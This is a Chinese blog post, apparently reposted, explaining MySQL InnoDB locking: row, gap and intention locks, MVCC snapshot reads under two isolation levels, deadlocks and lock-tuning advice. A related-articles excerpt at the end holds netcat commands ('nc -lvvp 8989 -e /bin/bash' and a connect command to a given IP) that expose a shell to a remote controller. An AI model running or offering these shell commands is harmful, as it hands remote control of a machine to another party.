MySQL锁机制

news2024/10/7 4:34:37

目录

表级锁&行级锁

排他锁&共享锁

InnoDB行级锁

行级锁(record lock):

间隙锁(gap lock):

意向锁

InnoDB表级锁

MVCC(多版本并发控制)

已提交读的MVCC:

可重复读的MVCC:

死锁

锁的优化建议(持续更新


         事务要允许并发执行就会导致数据的安全性&一致性和并发效率问题,导致脏读、不可重复读、幻读。

串行化:由锁来实现,会给所有的事务排序,导致并发效率低但是数据的安全性高

未提交读:没有做任何并发处理 ,并发效率高,数据的安全性最低

常用:已提交读(常见oracle)、可重复读(MySQL)

结合了数据的安全性&一致性 + 并发的效率 MVCC多版本控制机制实现的可重复读

表级锁&行级锁

         表级锁:对整张表加锁。开销小,加锁快,不会出现死锁;锁粒度大,发生锁冲突的概率高,并发度 低。

        行级锁:对某行记录加锁。开销大,加锁慢,会出现死锁;锁定粒度最小,发生锁冲突的概率最低,并 发度高。

排他锁&共享锁

排它锁(Exclusive),X 锁,写锁。

共享锁(Shared),S 锁,读锁。

X和S锁之间有以下的关系: SS可以兼容的,XS、SX、XX之间是互斥的

        一个事务对数据对象 O 加了 S 锁,可以对 O 进行读取操作但不能进行更新操作。加锁期间其它事 务能对O 加 S 锁但不能加 X 锁。

        一个事务对数据对象 O 加了 X 锁,就可以对 O 进行读取和更新。加锁期间其它事务不能对 O 加任 何锁。

       显示加锁:select ... lock in share mode强制获取共享锁select ... for update获取排它锁

InnoDB行级锁

行级锁(record lock):

       InnoDB存储引擎支持事务处理,表支持行级锁定,并发能力更好;

1. InnoDB的行锁是加在索引项上面的,是给索引在加索,并不是给表的行记录加锁;只有通过索引条件检索数据,InnoDB使用的才是行级锁,否则使用的是表锁;

2、由于InnoDB的行锁实现是针对索引字段添加的锁,不是针对行记录加的锁,因此虽然访问的是 InnoDB引擎下表的不同行,但是如果使用相同的索引字段作为过滤条件,依然会发生锁冲突,只能串行进行,不能并发进行。

3、即使SQL中使用了索引,但是经过MySQL的优化器后,如果认为全表扫描比使用索引效率更高,此 时会放弃使用索引,因此也不会使用行锁,而是使用表锁,比如对一些很小的表,MySQL就不会去使用 索引。

间隙锁(gap lock):

InnoDB串行化隔离级别 如何解决幻读? 间隙锁

       1.  当使用范围查询条件,并请求共享锁或者排他锁时,InnoDB会给符合条件的已有数据记录的索引项加索;对于键值在条件范围内但并不存在的记录,叫做“间隙(GAP)” ,InnoDB 也会对 这个“间隙”加锁,这种锁机制就是所谓的间隙锁。        

举例来说, 假如 user 表中只有 101 条记录, 其 userid 的值分别是 1,2,...,100,101, 下面的 SQL:

        select * from user where userid > 100 for update;

这是一个范围条件的检索,InnoDB不仅会对符合条件的userid值为101的记录加锁,也会对userid大于101的“间隙”加锁,防止其他事务在表的末尾增加数据。

        InnoDB使用间隙锁的目的,为了防止幻读,以满足串行化隔离级别的要求,对于上面的例子,要是不 使用间隙锁,如果其他事务插入了 userid 大于 100 的任何记录,那么本事务如果再次执行上述语句, 就会发生幻读。

        2. 当使用等值查询时,再次插入age=18时会被阻塞住,会在等值18的两边加上间隙锁       

  select * from user where age = 18;

        (如果:

                1. age是辅助索引(值可重复) 会加 record lock + gap lock

                2. age是主键索引或者唯一索引(值是不允许重复的),只有record lock)

        

        (辅助索引值相等的情况下(辅助索引是可以重复的),主键按升序排列)比如说插入一个age=15的,会阻塞,因为他的主键id会升序排列24,会在已有的15和18之间,由于有间隙锁,所以无法加入。

意向锁

意向锁的存在是为了协调行锁和表锁的关系,支持多粒度(表锁与行锁)的锁并存。

(其他事务在获取一个表锁的时候,可以拿来跟意向锁进行快速的对比来判断,我能不能获取当前表的s或者x锁。)

1)意向共享锁(IS锁):事务在给一行记录加共享锁前,必须先取得该表的 IS 锁。
2)意向排他锁(IX锁):事务在给一行记录加排他锁前,必须先取得该表的 IX 锁。

意向锁和共享锁、排他锁的兼容关系:

1、意向锁是由InnoDB存储引擎获取行锁之前自己获取的;

2、意向锁之间都是兼容的,不会产生冲突;

3、意向锁存在的意义是为了更高效的获取表锁(表格中的X和S指的是表锁,不是行锁!!!)

4、意向锁是表级锁,协调表锁和行锁的共存关系。主要目的是显示事务正在锁定某行或者试图锁定某 行。 

意向锁如何解决表锁涉及的效率问题? 

        需要在大量数据中检验没有被其他事务获取过X锁,有了意向锁之后,事务在给行加锁之前,都活获取表的IS或者IX锁,所以当事务要获取表的X锁时,不需要在检查表中那些行锁被(X或者S)占用,只需要快速检查IX和IS锁即可。效率提升

InnoDB表级锁

        在绝大部分情况下应该使用行锁,因为事务和行锁往往是选择InnoDB的理由,但个别情况下也使用表级锁;

        1)事务需要更新大部分或者全部数据,表又比较大,如果使用默认的行锁,不仅这个事务执行效率低,而且可能会造成其他事务长时间等待和锁冲突;

        2)事务涉及多个表,比较复杂,很可能引起死锁,造成大量事务回滚

LOCK TABLE user READ;读锁锁表

LOCK TABLE user WRITE; 写锁锁表

事务执行...

COMMIT/ROLLBACK; 事务提交或者回滚

UNLOCK TABLES; 本身自带提交事务,释放线程占用的所有表锁

使用表锁的时候涉及到一个效率的问题:

        要获取一张表的共享锁S或者排他锁X,最起码得确定,这张表没有被其他事务获取过X锁!比如说一张表(一千万个数据)没有被其他事务获取过行锁X锁!

        举例:事务一:表S锁  事务二就不可以获取表X锁、行X锁

                    事务一:表X锁 事务二就不可以获取表X锁 、 行X锁

                        效率太低

MVCC(多版本并发控制)

        MVCC是多版本并发控制(Multi-Version Concurrency Control,简称MVCC),是MySQL中基于乐观锁理论实现隔离级别的方式,用于实现已提交读可重复读隔离级别的实现,也经常称为多版本数据库。

        MVCC机制会生成一个数据请求时间点的一致性数据快照 (Snapshot), 并用这个快照来提供一定 级别 (语句级或事务级) 的一致性读取。从用户的角度来看,好象是数据库可以提供同一数据的多个 版本(系统版本号和事务版本号)。

        1. 快照读(snapshot read)

读的是记录的可见版本,不用加锁。如select

        2. 当前读(current read)

读取的是记录的最新版本,并且当前读返回的记录,insert,delete,update,select...lock in share mode/for update

        已经提交读和可重复读 =》底层实现原理是 MVCC(多版本并发控制)=> 并发的读取方式:快照读

        InnoDB提供了两个读取操作:锁定读(SX)和非锁定读(MVCC提供的快照读)=》 依赖底层的一个技术 =》 undo log 回滚日志

回顾:

        事务日志:undo log (回滚日志) redo log(重做日志)

        事务的ACD特性是由事务日志完成,I由锁+MVCC完成

undo log回滚日志的主要作用:

1. 事务发生错误时回滚rollback

2. 提供了MVCC的非锁定读(快照读)

MVCC:每一行记录实际上有多个版本,每个版本的记录除了数据本身之外,增加了其他字段

undo log 提供在表中新增两列:

        DB_TRX_ID:事务ID  :记录是那个事务修改的 当前事务ID

        DB_ROLL_PTR:回滚指针 之前旧数据的地址 指向undo log日志上数据的指针

各个旧数据之间由链表联系起来,新增数据的旧数据是空的NULL

已提交读的MVCC:

(每次执行语句的时候都重新生成一次快照(Read View),每次select查询时。) 

1. 已提交读底层如何解决脏读问题?

        已提交读使用的是一种非锁定读,也就是MVCC多版本并发控制提供的一种快照读来解决的,事务每一次select都会把符合当前查询条件的数据拍个照片,相当于生成一次当前数据快照的一个数据版本,生成这个数据版本的时候有一个前提就是数据的状态必须是commit提交状态,当我们对一个数据进行修改但未提交,数据处于prepare状态,所以在生成数据快照的时候用的还是旧数据来生成的,也就是在undo log里面的旧数据,所以不会出现脏读。

2. 但为什么无法解决 不可重复读?

        因为每一次select都会重新产生一次数据快照,其他事务更新后而且已提交数据,符合快照读的条件,可以实时反馈到当前事务的select结果中。

3. 为什么无法解决幻读?

          因为每一次select都会重新产生一次数据快照,其它事务增加了和当前事务查询条件相同的新的数据并且成功commit提交,导致当前事务再次以同样的条件查询时,数据多了。

可重复读的MVCC:

(同一个事务开始的时候生成一个当前事务全局性的快照(Read View),第一次select查询时)

1. 解决了“脏读问题” 

        都是生成数据快照,生成数据快照的前提就是数据状态必须是commit

2. 解决了 不可重复读问题

        第一次select产生数据快照,而且只产生一次!!!!!

        第一次select产生数据快照,其它事务随谈修改了最新的数据,但是当前事务select时,依然查看的是最初的快照数据。

3. 部分解决了幻读

        对于select操解决了幻读,原理同上,只在第一次select产生快照;但是对于updata等使用当前读方法的操作,并没有解决幻读问题。

快照内容读取原则:

1、版本未提交无法读取生成快照

2、版本已提交,但是在快照创建后提交的,无法读取

3、版本已提交,但是在快照创建前提交的,可以读取

4、当前事务内自己的更新,可以读到

死锁

        MyISAM 表锁是 deadlock free 的, 这是因为 MyISAM 总是一次获得所需的全部锁,要么全部满足, 要么等待,因此不会出现死锁。

        但在 InnoDB 中,除单个 SQL 组成的事务外,锁是逐步获得的,即锁的粒度比较小,这就决定了在 InnoDB 中发生死锁是可能的。

        死锁问题一般都是我们自己的应用造成的,和多线程的死锁情况相似,大部分都是由于我们多个线程在获取多个锁资源的时候,获取的顺序不同导致的死锁问题。因此我们应用子啊对数据库的多个表坐更新的时候,不同的代码段应对这些表按相同的顺序进行更新操作,以防止锁冲突导致死锁问题。

事务被阻塞了,或者死锁了,mysqld是有事务阻塞的超时时间,题是事务处理失败

    mysqld只能能够检测到死锁问题的发生,并进行事务的回滚

锁的优化建议(持续更新)

1.尽量使用较低的隔离级别

2.设计合理的索引并尽量使用索引访问数据,使加锁更加准确,减少锁冲突的机会提高并发能力

3.选择合理的事务大小,小事务发生锁冲突的概率小

4.不同的程序访问一组表时,应尽量约定以相同的顺序访问各表,对一个表而言,尽可能以固定的顺序 存取表中的行。这样可以大大减少死锁的机会

5.尽量用相等条件访问数据,这样可以避免间隙锁对并发插入的影响

6.不要申请超过实际需要的锁级别

7.除非必须,查询时不要显示加锁

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/499565.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux下的shell

NC反向shell 1、查看shell类型 echo $SHELLchsh -s 需要修改shell的类型cat /etc/shells 查看存在哪些shell 然后反弹对应的shell(正向连接) //被控制端 nc -lvvp 8989 -e /bin/bash //控制端 nc 192.168.222.146(被控端ip) 8989 2、没有-e参数反…

css链接悬停时滑动的下划线效果

要创建链接悬停时滑动的下划线效果,可以向锚点标记添加伪元素,并使用 CSS 过渡动画来显示它。 先看效果: 在提供的代码中,a::after 选择器创建了一个伪元素,该伪元素位于 a 标记后面。该伪元素具有绿色背景颜色和 1…

KVM 架构和部署

建议使用centos和ubuntu 系统做实验,rocky 系列有些不太支持 宿主机环境准备 KVM需要宿主机CPU必须支持虚拟化功能,因此如果是在vmware workstation上使用虚拟机做宿主机,那么必须要在虚拟机配置界面的处理器选项中开启虚拟机化功能。 验证…

【AI选股】如何通过python调用通达信-小达实现AI选股(量化又多了一个选股工具)

文章目录 前言一、通达信-小达是什么?二、使用步骤1. 引入browser_cookie3库2. 通达信-小达 AI选股源代码 总结 前言 ChatGPT火遍网络,那么有没有可以不用写公式就可以实现AI选股的方法?答案是有,今天我们就来试试通达信的小达&a…

软件测试面试常见问题【含答案】

一、面试技巧题(主观题) 序号面试题1怎么能在技术没有那么合格的前提下给面试官留个好印象?2面试时,如何巧妙地避开不会的问题?面试遇到自己不会的问题如何机智的接话,化被动为主动?3对于了解程度的技能,被…

鸿蒙学习总结

控件 button 源码所在路径,小编也只是猜测,还没搞懂鸿蒙上层app到底层的玩法,网上也没相关资料,找源码真是费劲(不是简单的下载个源码的压缩包,而是找到里面的控件比如Button,或者UIAbility实现的源码&…

探索qrc,rcc和CMAKE_AUTORCC

前导知识:解决qt中cmake单独存放 .ui, .cpp, .h文件 前言 我们的Qt程序可以加载一些资源,比如程序窗口的图标。 像下面这样的原始图标,很丑。 可以给它加上图标,一个小海豚。 一、直接加载资源 这是最简单直接的方式。 …

IntersectionObserver API实现虚拟列表滚动

前言 在本篇文章你将会学到: IntersectionObserver API 的用法,以及如何兼容。如何在React Hook中实现无限滚动。如何正确渲染多达10000个元素的列表。 无限下拉加载技术使用户在大量成块的内容面前一直滚动查看。这种方法是在你向下滚动的时候不断加…

keil MDK5软件包介绍、下载、安装与分享

前言 本文介绍了Keil MDK5软件包的分类、作用、下载、安装与更新。软件包下载可通过Keil自带的Pack Installer、进入Keil Pack下载网站手动下载、去芯片厂家官网下载三种方式。同时分享了一个小技巧,可以直接分享已安装好的软件包给别人。 一. Keil MDK软件包介绍 K…

《Netty》从零开始学netty源码(五十五)之InternalThreadLocalMap

InternalThreadLocalMap 前面介绍PoolThreadLocalCache中了解到netty的线程缓存变量值是存在InternalThreadLocalMap中的,它相对于java原生的map优点在于使用数组来管理变量值而不是map,它的数据结构如下: 在它的变量中与PoolThreadLocalCac…

springboot+vue在线BLOG网站(源码+文档)

风定落花生,歌声逐流水,大家好我是风歌,混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的在线BLOG网站闲一品交易平台。项目源码以及部署相关请联系风歌,文末附上联系信息 。 💕💕作者&…

我与猫头鹰的故事——得到学习的阶段总结

目录 一、背景二、过程三、总结四、升华 一、背景 记忆中已经模糊了加入得到的时间,但是现在它却成了我生活的一部分 每天就像有几位高人在给我细细道来他们的经验,给我前行的路上指引方向。 参与得到学习中不仅仅让我个人见识得到提升,最终…

Spring Cloud Gateway 限流

在高并发的应用中,限流是一个绕不开的话题。限流可以保障我们的 API 服务对所有用户的可用性,也可以防止网络攻击。 一般开发高并发系统常见的限流有:限制总并发数(比如数据库连接池、线程池)、限制瞬时并发数&#xf…

【C++】类和对象(初阶认识)#中篇#

上篇讲到对象的实例化 这里我们接着来探讨对象 目录 类域及成员函数在类域外的声明方法 内联 构造函数 先来看前三点: 无参调用格式 第四点函数重载 最后一点:没写构造时 自动生成 默认构造 并调用 《坑和补丁篇》 默认构造 析构函…

SETUNA2简介、下载和使用方法(截图贴图工具)

如果你在寻找一个可以截图并将截图置顶显示在桌面的工具,那么本文介绍的工具可以满足你的需求,但是我还是建议你移步: Snipaste介绍、安装、使用技巧(截图贴图工具)_西晋的no1的博客-CSDN博客 ,Snipaste工具…

Illustrator如何使用符号与图表之实例演示?

文章目录 0.引言1.使用Microsoft Excel数据创建图表2.修改图表图形及文字 0.引言 因科研等多场景需要进行绘图处理,笔者对Illustrator进行了学习,本文通过《Illustrator CC2018基础与实战》及其配套素材结合网上相关资料进行学习笔记总结,本文…

校园网自动登陆(河南科技学院)

1. 介绍 河南科技学院校园网自动登陆(新乡的很多系统相似,可能也可以用?),java版。可以实现电脑,路由器,软路由的自动认证wifi,后续会上传docker版本的。 源码地址 github:https://…

C嘎嘎的运算符重载基础教程以及遵守规则【文末赠书三本】

博主名字:阿玥的小东东 大家一起共进步! 目录 基础概念 优先级和结合性 不会改变用法 在全局范围内重载运算符 小结 本期送书:盼了一年的Core Java最新版卷Ⅱ,终于上市了 基础概念 运算符重载是通过函数重载实现的&#xf…

visual studio code安装c语言编译环境

目录 (一)Windows下安装GCC,下载并安装MinGW 安装MinGW 配置GCC环境变量 电脑使用CMD命令行输入 gcc -v ,查看gcc当前版本号以此判断gcc是否安装成功​编辑 (一)Windows下安装GCC,下载并安装MinGW 下载…

索引合并,能不用就不要用吧!

文章目录 1. 问题重现2. 索引合并2.1 Using intersect(...)2.2 Using union(...)2.3 Using sort_union(...)2.4 索引合并原理 3. 索引合并的问题 在前面的文章中,松哥和小伙伴们分享了 MySQL 中,InnoDB 存储引擎的数据结构,小伙伴们知道&…